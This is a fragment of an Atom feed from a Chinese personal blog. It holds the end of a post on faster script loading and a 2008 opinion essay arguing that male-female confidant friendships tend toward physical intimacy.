“”;<br/>&lt;/script&gt;<br/><br/>推荐这种方法！如果要载入多个的根据第二种那样。十里地vista小工具之家就是用这种方法<br/>相信这样就会加快载入速度了。<br/><br/>]]></summary>
	  <link rel="alternate" type="text/html" href="http://blog.atimg.com/article/1128.htm" /> 
	  <id>http://blog.atimg.com/default.asp?id=1128</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[所谓知己]]></title>
	  <author>
		 <name>青云</name>
		 <uri>http://blog.atimg.com/</uri>
		 <email>fhcmail@gmail.com</email>
	  </author>
	  <category term="" scheme="http://blog.atimg.com/default.asp?cateID=3" label="乱七八糟" /> 
	  <updated>2008-11-05T10:46:11+08:00</updated>
	  <published>2008-11-05T10:46:11+08:00</published>
		  <summary type="html"><![CDATA[&nbsp;&nbsp;你认为男女之间没有性，可以成为永久的知己吗？<br/>　　当我面对这个问题时，我是讥笑着意外的。异性知己，多么美妙的关系，可能吗？扯淡。<br/>　　<br/>　　每个人都应该清醒的意识到：理智与感性是一对矛盾体。男女之间，只要做知已，就十有八九要面对性这个话题。男女相处，最大的区别，不是财富，不是年龄，不是地区，不是肤色，而是性别。这是本质的区别，就像是水与火，就像是白天与黑夜。<br/>　　<br/>　　知己相处，是需要交换的，而且必然有交换。只要是交换，就必须无限的，动态的，接近等量交换，等价交换，这是铁的自然法则，这是人的本性驱使。你如果有知己，你与他（她）交换的是什么？经历？知识？财富？这些都不能等价，等量交换。而在交换法则的驱逐下，异性知己最终将走向最自然，最原始，最公平的交换法则，那就是：身体交换。这是最公平的交换，也是最深层的交流。由于经历，知识结构，阅历，财富，年龄的不同，知己之间，必然是相异的。但无论是什么知己，知己的一个特征就是求同而消异，男女知己更是如此。从一开始的相异，而互相吸引，互相感兴趣，然后成为朋友，互相交流各种流于表面的，俗套的，所谓的精神层面的信息。但，大家都不要忘了暧昧这个字眼。人类的先哲是聪明的，所以有了暧昧这个词。暧昧就是说不清楚的感觉，只可意会不可言传。可是我要说，暧昧其实是身体交流的前奏，这是人们对男女之间那种互相吸引，但由于道德、法律、家庭、身份等社会因素所干扰，而暂时止步不前，又处于蠢蠢欲动时期的唯一精确、正确的描述。写到这里，我不禁要停下来，对创造暧昧这个词的高人仰头三拜！<br/>　　<br/>　　知己，在同性之间，是一种基本接近等价，等量交换的一种交换关系，他们的交换是遵循着自然法则的。席勒的观点，视角给了歌德巨大的启发，激发了他的灵感，于是创造出“浮士德”这样的名著，但歌德也帮助席勒改善了生活环境，提高了生活水平。这就是典型的，经典的，被人们引为案例的知己交换。知己，由促成知己关系的资源的互相发现而产生，随着该资源的枯竭而消失，而有些知己，在资源枯竭之前就提前死亡，则此关系就被终止，但由于交换不够充分，所以知己的另一半会常常怀念这种交换的过程与结果。有名的，成为美谈，无名的，成为岁月的流沙，随风而逝。<br/>　　<br/>　　知己，在异性之间，就非常特别。他们的暧昧产生后，由于性别的差异，此知己关系会随着各方的交换意志而中止，或延续，直至冲破各方的压力，进行更深层次的交流。其结果，往往会引起多个家庭的连锁反应，但其过程必定痛苦，其最终结果，也必定可悲。所以，大部分异性知己关系，由于没有办法或者迫于外部压力，不能进行更深层次的，更公平的身体交换，导致等价，等量交换的过程原则越来越不公平，因此，往往无法保持太长的时间，并且往往没有结果。<br/>　　<br/>　　所以，敬告各位有知己关系的，特别是有异性知己关系人，有时候，没有结果，也是一种结果。顺其自然是一种道，强行中止，顺应更大的自然，何尝又不是道？<br/>　　<br/>　　在暧昧中回味，在欲望后守望，在绝望前绝望。善哉？知己！恶哉？知己!]]></summary>
	  <link rel="alternate" type="text/html" href="http://blog.atimg.com/article/1127.htm" /> 
	  <id>http://blog.atimg.com/default.asp?id=1127</id>
  </entry>	
		
</feed>
